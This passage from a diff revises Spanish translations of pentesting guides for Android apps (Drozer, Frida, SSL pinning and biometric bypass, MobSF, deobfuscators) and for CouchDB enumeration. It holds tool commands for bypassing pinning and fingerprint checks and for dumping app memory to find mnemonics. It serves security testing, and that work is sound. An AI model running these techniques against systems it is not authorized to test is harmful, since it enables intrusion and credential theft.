proteger información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad. > [!WARNING] > Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios registros**. Así que las aplicaciones no pueden acceder a los registros de otras aplicaciones.\ @@ -284,18 +284,18 @@ Como pentester, **intenta echar un vistazo a estos registros**. **Datos de Análisis Enviados a Terceros** -Las aplicaciones a menudo integran servicios como Google Adsense, que pueden inadvertidamente **filtrar datos sensibles** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles filtraciones de datos, es aconsejable **interceptar el tráfico de la aplicación** y verificar si se está enviando información sensible a servicios de terceros. +Las aplicaciones a menudo integran servicios como Google Adsense, que pueden filtrar inadvertidamente **datos sensibles** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles filtraciones de datos, es aconsejable **interceptar el tráfico de la aplicación** y verificar si se está enviando información sensible a servicios de terceros. ### Bases de Datos SQLite -La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de las **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\ +La mayoría de las aplicaciones utilizarán **bases de datos SQLite internas** para guardar información. Durante el pentest, echa un **vistazo** a las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\ Las bases de datos deberían estar ubicadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`. Si la base de datos está guardando información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**. Enumera las tablas usando `.tables` y enumera las columnas de las tablas haciendo `.schema `. -### Drozer (Explotar Actividades Exportadas, Proveedores de Contenido y Servicios) +### Drozer (Explotar Actividades, Proveedores de Contenido y Servicios) Desde [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una aplicación Android** e interactuar con otras aplicaciones. Puede hacer **cualquier cosa que una aplicación instalada puede hacer**, como hacer uso del mecanismo de Comunicación entre Procesos (IPC) de Android e interactuar con el sistema operativo subyacente.\ Drozer es una herramienta útil para **explotar actividades exportadas, servicios exportados y Proveedores de Contenido** como aprenderás en las siguientes secciones. @@ -303,18 +303,18 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio ### Explotando Actividades Exportadas [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -También recuerda que el código de una actividad comienza en el **método `onCreate`**. +También recuerda que el código de una actividad comienza en el método **`onCreate`**. **Bypass de Autorización** -Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **eludir** los **mecanismos de autenticación** **para acceder a ella.** +Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **eludir** los mecanismos de **autenticación** **para acceder a ella.** [**Aprende cómo explotar actividades exportadas con Drozer.**](drozer-tutorial/index.html#activities) También puedes iniciar una actividad exportada desde adb: -- El nombre del paquete es com.example.demo -- El nombre de la actividad exportada es com.example.test.MainActivity +- PackageName es com.example.demo +- Exported ActivityName es com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -331,12 +331,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity Si no se previene el tapjacking, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es Tapjacking sigue el enlace**](#tapjacking). -### Explotando Content Providers - Accediendo y manipulando información sensible +### Explotando Proveedores de Contenido - Accediendo y manipulando información sensible -[**Lee esto si quieres refrescar qué es un Content Provider.**](android-applications-basics.md#content-provider)\ -Los content providers se utilizan básicamente para **compartir datos**. Si una aplicación tiene content providers disponibles, es posible que puedas **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **Path Traversals** ya que podrían ser vulnerables. +[**Lee esto si quieres refrescar qué es un Proveedor de Contenido.**](android-applications-basics.md#content-provider)\ +Los proveedores de contenido se utilizan básicamente para **compartir datos**. Si una aplicación tiene proveedores de contenido disponibles, es posible que puedas **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **Path Traversals** ya que podrían ser vulnerables. -[**Aprende cómo explotar Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) +[**Aprende cómo explotar Proveedores de Contenido con Drozer.**](drozer-tutorial/index.html#content-providers) ### **Explotando Servicios** @@ -346,18 +346,18 @@ Recuerda que las acciones de un Servicio comienzan en el método `onStartCommand Un servicio es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios, deberías **verificar** el **código** para entender qué está haciendo y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...\ [**Aprende cómo explotar Servicios con Drozer.**](drozer-tutorial/index.html#services) -### **Explotando Broadcast Receivers** +### **Explotando Receptores de Difusión** -[**Lee esto si quieres refrescar qué es un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`. +[**Lee esto si quieres refrescar qué es un Receptor de Difusión.**](android-applications-basics.md#broadcast-receivers)\ +Recuerda que las acciones de un Receptor de Difusión comienzan en el método `onReceive`. -Un broadcast receiver estará esperando un tipo de mensaje. Dependiendo de cómo el receptor maneje el mensaje, podría ser vulnerable.\ -[**Aprende cómo explotar Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) +Un receptor de difusión estará esperando un tipo de mensaje. Dependiendo de cómo el receptor maneje el mensaje, podría ser vulnerable.\ +[**Aprende cómo explotar Receptores de Difusión con Drozer.**](#exploiting-broadcast-receivers) -### **Explotando Schemes / Deep links** +### **Explotando Esquemas / Enlaces profundos** -Puedes buscar deep links manualmente, utilizando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Puedes **abrir** un **scheme** declarado usando **adb** o un **navegador**: +Puedes buscar enlaces profundos manualmente, utilizando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Puedes **abrir** un **esquema** declarado usando **adb** o un **navegador**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -390,12 +390,12 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob ### Inspección y fallos de verificación de la capa de transporte - **Los certificados no siempre son inspeccionados adecuadamente** por las aplicaciones de Android. Es común que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP. -- **Las negociaciones durante el apretón de manos SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. -- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles de usuario, de la interceptación por entidades maliciosas. +- **Las negociaciones durante el apretón de manos SSL/TLS son a veces débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace que la conexión sea susceptible a ataques de hombre en el medio (MITM), permitiendo a los atacantes descifrar los datos. +- **La filtración de información privada** es un riesgo cuando las aplicaciones se autentican utilizando canales seguros pero luego se comunican a través de canales no seguros para otras transacciones. Este enfoque no protege los datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas. #### Verificación de certificados -Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. +Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. #### SSL Pinning @@ -403,23 +403,23 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific #### Inspección de tráfico -Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través de la proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA de la proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). +Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md). #### Bypass de SSL Pinning Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito: -- Modificar **automáticamente** el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero deberás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará. +- Modificar automáticamente el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero deberás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará. - Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación) +- También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación). - Si aún piensas que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Búsqueda de vulnerabilidades web comunes -Es importante también buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificar y mitigar estas vulnerabilidades está más allá del alcance de este resumen, pero se cubre extensamente en otros lugares. +También es importante buscar vulnerabilidades web comunes dentro de la aplicación. La información detallada sobre cómo identificar y mitigar estas vulnerabilidades está más allá del alcance de este resumen, pero se cubre extensamente en otros lugares. ### Frida @@ -429,13 +429,13 @@ Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar F - Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/index.html) - Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs)) ### **Volcar memoria - Fridump** -Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicos. +Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas. Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con: ```bash @@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Datos sensibles en Keystore** -En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos. +En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, todavía es **posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos. Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados. @@ -460,9 +460,9 @@ Para acceder a los datos dentro del keystore, podrías usar este script de Frida ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Bypass de Huellas Dactilares/Biométricos** +### **Bypass de huellas dactilares/bio-metría** -Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huellas dactilares** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** +Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -488,21 +488,21 @@ Los desarrolladores a menudo crean componentes proxy como actividades, servicios El peligro radica en permitir que los atacantes activen componentes de la aplicación no exportados o accedan a proveedores de contenido sensibles al desviar estos Intents. Un ejemplo notable es el componente `WebView` que convierte URLs en objetos `Intent` a través de `Intent.parseUri(...)` y luego los ejecuta, lo que puede llevar a inyecciones de Intent maliciosas. -### Puntos Clave Esenciales +### Conclusiones Esenciales - **Inyección de Intents** es similar al problema de Redirección Abierta en la web. - Los exploits implican pasar objetos `Intent` como extras, que pueden ser redirigidos para ejecutar operaciones inseguras. - Puede exponer componentes no exportados y proveedores de contenido a los atacantes. - La conversión de URL a `Intent` de `WebView` puede facilitar acciones no intencionadas. -### Inyecciones del Lado del Cliente de Android y otros +### Inyecciones del Lado del Cliente en Android y otros Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener especial cuidado con estas vulnerabilidades en una aplicación Android: - **Inyección SQL:** Al tratar con consultas dinámicas o Content-Providers, asegúrate de usar consultas parametrizadas. - **Inyección de JavaScript (XSS):** Verifica que el soporte de JavaScript y Plugins esté deshabilitado para cualquier WebView (deshabilitado por defecto). [Más información aquí](webview-attacks.md#javascript-enabled). - **Inclusión de Archivos Locales:** Los WebViews deben tener el acceso al sistema de archivos deshabilitado (habilitado por defecto) - `(webview.getSettings().setAllowFileAccess(false);)`. [Más información aquí](webview-attacks.md#javascript-enabled). -- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso podría guardarse en el disco. +- **Cookies Eternas**: En varios casos, cuando la aplicación android finaliza la sesión, la cookie no se revoca o incluso puede ser guardada en el disco. - [**Secure Flag** en cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -534,12 +534,12 @@ El **analizador dinámico de MobSF** puede: - Capturar **tráfico HTTPS** - Usar **Frida** para obtener **información** **en tiempo de ejecución** -Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. +Desde las versiones de android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. **Frida** Por defecto, también usará algunos scripts de Frida para **eludir la fijación de SSL**, **detección de root** y **detección de depuradores** y para **monitorear APIs interesantes**.\ -MobSF también puede **invocar actividades exportadas**, tomar **capturas de pantalla** de ellas y **guardarlas** para el informe. +MobSF también puede **invocar actividades exportadas**, capturar **capturas de pantalla** de ellas y **guardarlas** para el informe. Para **iniciar** la prueba dinámica presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a métodos enganchados, argumentos pasados y valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\ MobSF también te permite cargar tus propios **scripts de Frida** (para enviar los resultados de tus scripts de Frida a MobSF usa la función `send()`). También tiene **varios scripts preescritos** que puedes cargar (puedes agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciónalos**, presiona "**Load**" y presiona "**Start Instrumentation**" (podrás ver los registros de esos scripts dentro de "**Frida Live Logs**"). @@ -555,11 +555,11 @@ Además, tienes algunas funcionalidades auxiliares de Frida: - **Buscar Patrón de Clase**: Buscar clases por patrón - **Rastrear Métodos de Clase**: **Rastrear** una **clase completa** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF rastrea varios métodos interesantes de la API de Android. -Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas presionar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**". +Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas presionar "**Start Instrumentation**" y verás todas las salidas en "**Frida Live Logs**". **Shell** -MobSF también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes: +Mobsf también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes: ```bash help shell ls @@ -595,7 +595,7 @@ Esta es una **gran herramienta para realizar análisis estático con una GUI** ### [Qark](https://github.com/linkedin/qark) -Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un "Proof-of-Concept" APK desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba. +Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -606,8 +606,8 @@ qark --java path/to/specific/java/file.java - Muestra todos los archivos extraídos para una fácil referencia - Descompone automáticamente archivos APK a formato Java y Smali -- Analiza AndroidManifest.xml en busca de vulnerabilidades comunes y comportamiento -- Análisis estático del código fuente para vulnerabilidades y comportamiento comunes +- Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes +- Análisis estático del código fuente para vulnerabilidades y comportamientos comunes - Información del dispositivo - y más ```bash @@ -645,7 +645,7 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos potencialmente maliciosos desarrollados por una aplicación de Android. +**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos maliciosos potenciales desarrollados por una aplicación de Android. La detección se realiza con el **análisis estático** del bytecode Dalvik de la aplicación, representado como **Smali**, con la biblioteca [`androguard`](https://github.com/androguard/androguard). @@ -666,13 +666,13 @@ Es capaz de: - Extraer información privada del APK usando expresiones regulares. - Analizar el Manifest. - Analizar dominios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) y [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deofuscar APK a través de [apk-deguard.com](http://www.apk-deguard.com) +- Desofuscar APK a través de [apk-deguard.com](http://www.apk-deguard.com) ### Koodous Útil para detectar malware: [https://koodous.com/](https://koodous.com) -## Ofuscando/Deofuscando código +## Ofuscando/Desofuscando código Tenga en cuenta que dependiendo del servicio y la configuración que utilice para ofuscar el código. Los secretos pueden o no terminar ofuscados. @@ -684,7 +684,7 @@ ProGuard se distribuye como parte del SDK de Android y se ejecuta al construir l ### [DexGuard](https://www.guardsquare.com/dexguard) -Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) (De esa guía) La última vez que verificamos, el modo de operación de Dexguard era: @@ -700,13 +700,13 @@ Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/ Puedes subir un APK ofuscado a su plataforma. -### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y deofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google. +Esta es una herramienta LLM para encontrar cualquier vulnerabilidad de seguridad potencial en aplicaciones android y desofuscar el código de aplicaciones android. Utiliza la API pública de Gemini de Google. ### [Simplify](https://github.com/CalebFenton/simplify) -Es un **deofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice. +Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **intenta optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa qué tipo específico de ofuscación se utilice. ### [APKiD](https://github.com/rednaga/APKiD) @@ -722,7 +722,7 @@ APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **com AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos en seguridad e investigadores para ingeniería inversa y análisis de malware. -## Referencias +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos @@ -731,7 +731,7 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) -## Aún por probar +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 966f157a6..a7003dabf 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -25,7 +25,7 @@ adb install drozer.apk ``` ### Iniciando el Servidor -Agent está corriendo en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo: +Agent se está ejecutando en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo: ```bash adb forward tcp:31415 tcp:31415 ``` @@ -50,9 +50,9 @@ drozer console connect | **unset** | Elimina una variable nombrada que drozer pasa a cualquier shell de Linux que genera. | | **set** | Almacena un valor en una variable que se pasará como una variable de entorno a cualquier shell de Linux generado por drozer. | | **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente | -| **run MODULE** | Ejecuta un módulo de drozer | -| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` | -| **payload** | Los exploits necesitan un payload. `drozer payload list` | +| **run MODULE** | Ejecuta un módulo de drozer | +| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` | +| **payload** | Los exploits necesitan un payload. `drozer payload list` | ### Paquete @@ -107,7 +107,7 @@ El valor “android:exported” de un componente de actividad exportado está co ``` -**Listar actividades exportadas**: +**Lista de actividades exportadas**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index cb845d02a..a69a99f83 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -38,7 +38,7 @@ Estos son los endpoints a los que puede acceder con una **GET** request y extrae - **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso. - **`/_all_dbs`** Devuelve una lista de todas las bases de datos en la instancia de CouchDB. -- \*\*`/_cluster_setup`\*\* Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster. +- **`/_cluster_setup`** Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster. - **`/_db_updates`** Devuelve una lista de todos los eventos de base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es necesaria para usar este endpoint. - **`/_membership`** Muestra los nodos que son parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que son parte del clúster. - **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas. @@ -50,8 +50,8 @@ Estos son los endpoints a los que puede acceder con una **GET** request y extrae - **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución\_.\_ Puede usar \_\_`_local` como {node-name} para obtener información del nodo actual. - **`/_node/{node-name}/_restart`** - **`/_up`** Confirma que el servidor está activo, en funcionamiento y listo para responder a solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404. -- \*\*`/_uuids`\*\* Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB. -- \*\*`/_reshard`\*\* Devuelve un conteo de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de re-particionamiento en el clúster. +- **`/_uuids`** Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB. +- **`/_reshard`** Devuelve un conteo de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de redistribución en el clúster. Se puede extraer información más interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -127,9 +127,9 @@ root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -Para aquellos interesados en entender cómo se puede explotar esta "cookie" para la Ejecución Remota de Código (RCE) en el contexto de sistemas Erlang, hay una sección dedicada disponible para una lectura más profunda. Detalla las metodologías para aprovechar las cookies de Erlang de maneras no autorizadas para lograr el control sobre los sistemas. Puedes [**explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). +Para aquellos interesados en entender cómo se puede explotar esta "cookie" para la Ejecución Remota de Código (RCE) dentro del contexto de sistemas Erlang, hay una sección dedicada disponible para una lectura más profunda. Detalla las metodologías para aprovechar las cookies de Erlang de maneras no autorizadas para lograr el control sobre los sistemas. Puedes [**explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). -### **Explotando CVE-2018-8007 a través de la modificación de local.ini** 